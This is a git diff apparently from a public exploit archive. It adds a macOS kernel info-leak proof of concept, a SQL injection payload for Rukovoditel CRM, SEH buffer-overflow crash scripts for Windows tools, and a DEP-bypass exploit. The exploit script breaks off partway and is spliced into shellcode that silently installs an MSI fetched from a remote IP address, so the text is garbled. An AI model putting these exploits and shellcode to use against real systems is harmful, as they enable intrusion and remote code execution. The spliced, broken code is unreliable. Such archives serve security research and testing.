diff --git a/exploits/hardware/webapps/46263.txt b/exploits/hardware/webapps/46263.txt index 74e086bb2..085703ac9 100644 --- a/exploits/hardware/webapps/46263.txt +++ b/exploits/hardware/webapps/46263.txt @@ -2,7 +2,7 @@ # Google Dork: N/A # Date: 23-01-2019 ################################ -# Exploit Author: Bhushan B. Patil (Exploit DB author ID: 9551) +# Exploit Author: Bhushan B. Patil ################################ # Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss # Affected Version: 6.2.2.2 & 6.2.3 @@ -27,11 +27,4 @@ Upgrade to version 6.3.0 For more information about fixed software releases, consult the Cisco bug ID CSCvk30983 4. Reference: -https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss - - -Thanks & Regards, - -Bhushan B. Patil -Tech Specalist & Lead - Security Testing -This e-mail and any attachments thereto may contain confidential information and/or information protected by intellectual property rights for the exclusive attention of the intended addressees named above. If you have received this transmission in error, please immediately notify the sender by return e-mail and delete this message and its attachments. Unauthorized use, copying or further full or partial distribution of this e-mail or its contents is prohibited. Although this e-mail and any attachments are believed to be free of any virus or other defect that may affect any computer system into which it is received and opened, it is the responsibility of the recipient to ensure that it is virus free. Paladion is not liable for any loss or damage arising in any way from the use of this e-mail or its attachments. \ No newline at end of file +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss \ No newline at end of file diff --git a/exploits/multiple/dos/46285.c b/exploits/multiple/dos/46285.c new file mode 100644 index 000000000..87a298429 --- /dev/null +++ b/exploits/multiple/dos/46285.c @@ -0,0 +1,318 @@ +/* +macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting +ports, and added the function IOPMCopySleepWakeUUIDKey() to the file +iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: + + extern "C" bool + IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) + { + if (!gSleepWakeUUIDIsSet) { + return (false); + } + + if (buffer != NULL) { + OSString *string; + + string = (OSString *) + gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); + + if (string == NULL) { + *buffer = '\0'; + } else { + strlcpy(buffer, string->getCStringNoCopy(), buf_len); + + string->release(); + } + } + + return (true); + } + +This function is interesting because it copies a caller-specified amount of data from the +"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" +to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), +out-of-bounds heap data will be copied into the caller's buffer. + +However, triggering this particular information leak is challenging, since the only caller is the +function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information +leak: + + void + if_ports_used_update_wakeuuid(struct ifnet *ifp) + { + uuid_t wakeuuid; // (a) wakeuuid is uninitialized. + bool wakeuuid_is_set = false; + bool updated = false; + + if (__improbable(use_test_wakeuuid)) { + wakeuuid_is_set = get_test_wake_uuid(wakeuuid); + } else { + uuid_string_t wakeuuid_str; + + wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. + sizeof(wakeuuid_str)); + if (wakeuuid_is_set) { + uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of + } // uuid_parse() is not checked. + } + + if (!wakeuuid_is_set) { + if (if_ports_used_verbose > 0) { + os_log_info(OS_LOG_DEFAULT, + "%s: SleepWakeUUID not set, " + "don't update the port list for %s\n", + __func__, ifp != NULL ? if_name(ifp) : ""); + } + wakeuuid_not_set_count += 1; + if (ifp != NULL) { + microtime(&wakeuuid_not_set_last_time); + strlcpy(wakeuuid_not_set_last_if, if_name(ifp), + sizeof(wakeuuid_not_set_last_if)); + } + return; + } + + lck_mtx_lock(&net_port_entry_head_lock); + if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. + net_port_entry_list_clear(); + uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage + updated = true; // will be copied into a sysctl + } // variable. + /* + * Record the time last checked + + microuptime(&wakeuiid_last_check); + lck_mtx_unlock(&net_port_entry_head_lock); + + if (updated && if_ports_used_verbose > 0) { + uuid_string_t uuid_str; + + uuid_unparse(current_wakeuuid, uuid_str); + log(LOG_ERR, "%s: current wakeuuid %s\n", + __func__, + uuid_str); + } + } + +After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using +IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function +uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid +buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not +checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other +than a valid hexadecimal digit, we can get random stack garbage copied into the global +current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning +its value can be read from userspace. + +Tested on macOS 10.13.6 17G2112: + + bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak + bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak + 1. Sleep the device. + 2. Wake the device. + 3. Press any key to continue. + + current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 +*/ + +/* + * wakeuuid-leak.c + * Brandon Azad (bazad@google.com) + */ + +#if 0 +iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid(). + +macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting +ports, and added the function IOPMCopySleepWakeUUIDKey() to the file +iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: + + extern "C" bool + IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) + { + if (!gSleepWakeUUIDIsSet) { + return (false); + } + + if (buffer != NULL) { + OSString *string; + + string = (OSString *) + gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); + + if (string == NULL) { + *buffer = '\0'; + } else { + strlcpy(buffer, string->getCStringNoCopy(), buf_len); + + string->release(); + } + } + + return (true); + } + +This function is interesting because it copies a caller-specified amount of data from the +"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" +to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), +out-of-bounds heap data will be copied into the caller's buffer. + +However, triggering this particular information leak is challenging, since the only caller is the +function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information +leak: + + void + if_ports_used_update_wakeuuid(struct ifnet *ifp) + { + uuid_t wakeuuid; // (a) wakeuuid is uninitialized. + bool wakeuuid_is_set = false; + bool updated = false; + + if (__improbable(use_test_wakeuuid)) { + wakeuuid_is_set = get_test_wake_uuid(wakeuuid); + } else { + uuid_string_t wakeuuid_str; + + wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. + sizeof(wakeuuid_str)); + if (wakeuuid_is_set) { + uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of + } // uuid_parse() is not checked. + } + + if (!wakeuuid_is_set) { + if (if_ports_used_verbose > 0) { + os_log_info(OS_LOG_DEFAULT, + "%s: SleepWakeUUID not set, " + "don't update the port list for %s\n", + __func__, ifp != NULL ? if_name(ifp) : ""); + } + wakeuuid_not_set_count += 1; + if (ifp != NULL) { + microtime(&wakeuuid_not_set_last_time); + strlcpy(wakeuuid_not_set_last_if, if_name(ifp), + sizeof(wakeuuid_not_set_last_if)); + } + return; + } + + lck_mtx_lock(&net_port_entry_head_lock); + if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. + net_port_entry_list_clear(); + uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage + updated = true; // will be copied into a sysctl + } // variable. + /* + * Record the time last checked + */ + microuptime(&wakeuiid_last_check); + lck_mtx_unlock(&net_port_entry_head_lock); + + if (updated && if_ports_used_verbose > 0) { + uuid_string_t uuid_str; + + uuid_unparse(current_wakeuuid, uuid_str); + log(LOG_ERR, "%s: current wakeuuid %s\n", + __func__, + uuid_str); + } + } + +After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using +IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function +uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid +buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not +checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other +than a valid hexadecimal digit, we can get random stack garbage copied into the global +current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning +its value can be read from userspace. + +Tested on macOS 10.13.6 17G2112: + + bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak + bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak + 1. Sleep the device. + 2. Wake the device. + 3. Press any key to continue. + + current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 +#endif + +#include +#include +#include +#include + +#include +#include + +int +main(int argc, const char *argv[]) { + CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID"); + // First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid + // value. + io_service_t IOPMrootDomain = IOServiceGetMatchingService( + kIOMasterPortDefault, + IOServiceMatching("IOPMrootDomain")); + if (IOPMrootDomain == IO_OBJECT_NULL) { + printf("Error: Could not look up IOPMrootDomain\n"); + return 1; + } + kern_return_t kr = IORegistryEntrySetCFProperty( + IOPMrootDomain, + kIOPMSleepWakeUUIDKey, + CFSTR("")); + if (kr != KERN_SUCCESS) { + printf("Error: Could not set SleepWakeUUID\n"); + return 2; + } + // Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via + // IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and + // wake the device. + printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n"); + getchar(); + // Check that we successfully set an invalid UUID. + CFTypeRef value = IORegistryEntryCreateCFProperty( + IOPMrootDomain, + kIOPMSleepWakeUUIDKey, + kCFAllocatorDefault, + 0); + if (!CFEqual(value, CFSTR(""))) { + printf("Error: SleepWakeUUID not set successfully\n"); + return 3; + } + // Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the + // sysctl net.link.generic.system.get_ports_used.... + size_t get_ports_used_mib_size = 5; + int get_ports_used_mib[get_ports_used_mib_size + 3]; + int err = sysctlnametomib("net.link.generic.system.get_ports_used", + get_ports_used_mib, &get_ports_used_mib_size); + if (err != 0) { + return 4; + } + get_ports_used_mib[get_ports_used_mib_size++] = 1; // ifindex + get_ports_used_mib[get_ports_used_mib_size++] = 0; // protocol + get_ports_used_mib[get_ports_used_mib_size++] = 0; // flags + uint8_t ports_used[65536 / 8]; + size_t ports_used_size = sizeof(ports_used); + err = sysctl(get_ports_used_mib, get_ports_used_mib_size, + ports_used, &ports_used_size, NULL, 0); + if (err != 0) { + printf("Error: sysctl %s: errno %d\n", + "net.link.generic.system.get_ports_used", errno); + return 5; + } + // Finally retrieve the leak with sysctl + // net.link.generic.system.port_used.current_wakeuuid. + uint8_t current_wakeuuid[16]; + size_t current_wakeuuid_size = sizeof(current_wakeuuid); + err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid", + current_wakeuuid, ¤t_wakeuuid_size, NULL, 0); + if (err != 0) { + printf("Error: sysctl %s: errno %d\n", + "net.link.generic.system.port_used.current_wakeuuid", errno); + return 6; + } + uint64_t *leak = (uint64_t *)current_wakeuuid; + printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]); + return 0; +} \ No newline at end of file diff --git a/exploits/php/webapps/46282.txt b/exploits/php/webapps/46282.txt new file mode 100644 index 000000000..040ede13a --- /dev/null +++ b/exploits/php/webapps/46282.txt @@ -0,0 +1,41 @@ +################################################################# + +# Exploit Title: Rukovoditel Project Management CRM 2.4.1 - 'lists_id' SQL +Injection +# Dork: N/A +# Date: 27-01-2019 +# Exploit Author: Mehmet EMIROGLU +# Vendor Homepage: https://www.rukovoditel.net/ +# Software Link: https://sourceforge.net/projects/rukovoditel/ +# Version: 2.4.1 +# Category: Webapps +# Tested on: Wampp @Win +# CVE: N/A +# Software Description : Rukovoditel is a free web-based open-source +project management +application. A far cry from traditional applications, Rukovoditel gives +users a broader and extensive approach to project management. Its +customization options allow users to create additional entities, modify +and specify the relationship between them, and generate the necessary +reports. + +################################################################# + +# Vulnerabilities +# For the SQL injection to be applied, the user must log in. +then from the Application structure screen to the global list tab. +add new value button to create a new list. You can apply sql injection +through the generated list. +The pictures of the weaknesses are below. +https://i.hizliresim.com/nQJZm5.jpg +https://i.hizliresim.com/WqGmEQ.jpg + +################################################################# + +# POC - SQLi +# Parameters : lists_id=1 (string) +# Attack Pattern : -1'+UnIOn+SeLEcT+1,2--+ +# GET Request : +http://localhost/[PATH]/index.php?module=global_lists/choices&lists_id=1'[SQL] + +################################################################# \ No newline at end of file diff --git a/exploits/windows/dos/46284.py b/exploits/windows/dos/46284.py new file mode 100755 index 000000000..4939b887f --- /dev/null +++ b/exploits/windows/dos/46284.py @@ -0,0 +1,21 @@ +# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC) +# Discovery by: Rafael Pedrero +# Discovery Date: 2019-01-30 +# Vendor Homepage: http://www.advexsoft.com +# Software Link : http://www.advexsoft.com +# Tested Version: 3.4.1 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run af_mgr.exe +# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script) +# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:" +# 4.- Click in Register button and you will see a crash. + +#!/usr/bin/env python + +crash = "\x41" * 300 +f = open ("af_mgr_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46286.py b/exploits/windows/dos/46286.py new file mode 100755 index 000000000..b62d2de62 --- /dev/null +++ b/exploits/windows/dos/46286.py @@ -0,0 +1,65 @@ +# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH overwritten Crash PoC +# Discovery by: Rafael Pedrero +# Discovery Date: 2018-12-20 +# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm +# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm / https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download/ip-tools.exe +# Tested Version: 2.50 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run IP-Tools.exe +# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to clipboard +# 3.- Paste the content into the field: 'From Addr' and 'To Addr' +# 4.- Click 'Start' button and you will see a crash. + + +''' +SEH chain of main thread +Address SE handler +0012F4B4 43434343 +42424242 *** CORRUPT ENTRY *** + + + +EAX 0012F4CC +ECX 00000000 +EDX 44444444 +EBX 0012F4CC +ESP 0012E490 +EBP 0012F4DC ASCII +"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD +ESI 0012E4A4 ASCII +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +EDI 02256720 ASCII +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +EIP 00403F70 IP-TOOLS.00403F70 +C 0 ES 0023 32bit 0(FFFFFFFF) +P 1 CS 001B 32bit 0(FFFFFFFF) +A 0 SS 0023 32bit 0(FFFFFFFF) +Z 0 DS 0023 32bit 0(FFFFFFFF) +S 0 FS 003B 32bit 7FFDD000(FFF) +T 0 GS 0000 NULL +D 0 +O 0 LastErr ERROR_SUCCESS (00000000) +EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) +ST0 empty +ST1 empty +ST2 empty +ST3 empty +ST4 empty +ST5 empty +ST6 empty +ST7 empty + 3 2 1 0 E S P U O Z D I +FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT) +FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 +''' + +#!/usr/bin/env python + +junk = "\x41" * 4112 +crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8) +f = open ("IPTools_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46287.py b/exploits/windows/dos/46287.py new file mode 100755 index 000000000..420fe60fa --- /dev/null +++ b/exploits/windows/dos/46287.py @@ -0,0 +1,65 @@ +# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC +# Discovery by: Rafael Pedrero +# Discovery Date: 2005-01-10 +# Vendor Homepage: http://www.nscan.org/?index=dns +# Software Link : http://www.nscan.org/?index=dns +# Tested Version: 0.4 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run Necrosoft DIG v0.4 (dig.exe) +# 2.- copy content DIG_Crash.txt to clipboard (result from this python script) +# 3.- Paste the content into the field: 'Target' +# 4.- Click 'TCP lookup' button and you will see a crash. + + +''' +SEH chain of thread 000003CC +Address SE handler +00D9FF08 43434343 +42424242 *** CORRUPT ENTRY *** + + +EAX 0000000E +ECX 000004D2 +EDX 000004E0 +EBX 00000041 +ESP 00D9FACC +EBP 0012FB60 +ESI 00D9FB20 +EDI 009284C5 ASCII +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +EIP 004036B2 DIG.004036B2 +C 0 ES 0023 32bit 0(FFFFFFFF) +P 1 CS 001B 32bit 0(FFFFFFFF) +A 0 SS 0023 32bit 0(FFFFFFFF) +Z 0 DS 0023 32bit 0(FFFFFFFF) +S 1 FS 003B 32bit 7FFDB000(FFF) +T 0 GS 0000 NULL +D 0 +O 0 LastErr ERROR_SUCCESS (00000000) +EFL 00010286 (NO,NB,NE,A,S,PE,L,LE) +ST0 empty +ST1 empty +ST2 empty +ST3 empty +ST4 empty +ST5 empty +ST6 empty +ST7 empty + 3 2 1 0 E S P U O Z D I +FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) +FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 + + +''' + +#!/usr/bin/env python + +junk = "\x41" * 985 +crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4) +print "SEH overwritten Crash, full payload length =",len(crash) +f = open ("DIG_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/46283.py b/exploits/windows/local/46283.py new file mode 100755 index 000000000..ef5793e68 --- /dev/null +++ b/exploits/windows/local/46283.py @@ -0,0 +1,115 @@ +#!/usr/bin/python + +# Exploit Author: bzyo +# Twitter: @bzyo_ +# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) +# Date: 01-29-19 +# Vulnerable Software: 10-Strike Network Inventory Explorer 8.54 +# Vendor Homepage: https://www.10-strike.com/ +# Version: 8.54 +# Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe +# Tested Windows 7 SP1 x86 + +# PoC +# 1. run script +# 2. open app, select Computers tab +# 3. click on 'From Text File' +# 4. choose 10strike.txt that was generated +# 5. pop calc + +# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds +# practicing dep bypass by not using auto generated mona.py ropchains + +# original seh poc from Hashim Jawad, EDB: 44838 +# notes from author state offset is based upon username size, username for poc is 'user' + +# badchars; \x00\x0a\x0d\x2f + +import struct + +filename = "10strike.txt" + +junk = "\x41" * 209 + +seh = struct.pack(' Assembly code: + +xor eax, eax ;Get the msvcrt.dll +mov ax, 0x7472 ;"tr\0\0" +push eax +push dword 0x6376736d ;"cvsm" +push esp + +; LoadLibrary +mov ebx, 0x7717de85 ;Address of function LoadLibraryA (win7) +call ebx +mov ebp, eax ;msvcrt.dll is saved in ebp + +xor eax, eax ;zero out EAX +PUSH eax ;NULL at the end of string +PUSH 0x6e712f20 ;"nq/ " +PUSH 0x69736d2e ;"ism." +PUSH 0x736d2f33 ;"sm/3" +PUSH 0x2e312e38 ;".1.8" +PUSH 0x36312e32 ;"61.2" +PUSH 0x39312f2f ;"91//" +PUSH 0x3a707474 ;":ptt" +PUSH 0x6820692f ;"h i/" +PUSH 0x20636578 ;" cex" +PUSH 0x6569736d ;"eism" +MOV EDI,ESP ;adding a pointer to the stack +PUSH EDI +MOV EAX,0x7587b177 ;calling the system()(win7) +CALL EAX + +xor eax, eax +push eax +mov eax, 0x7718be52 ; ExitProcess +call eax + +--------------------------------------------------------------------------------------------------------------------------- + +==> Final shellcode: + +char code[] = +"\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x85\xde\x17\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x38\x2e\x31\x2e\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x77\xb1\x87\x75\xff\xd0\x31\xc0\x50\xb8\x52\xbe\x18\x77\xff\xd0"; + +int main(int argc, char **argv) +{ +int (*func)(); +func = (int (*)()) code; +(int)(*func)(); +} +--------------------------------------------------------------------------------------------------------------------------- \ No newline at end of file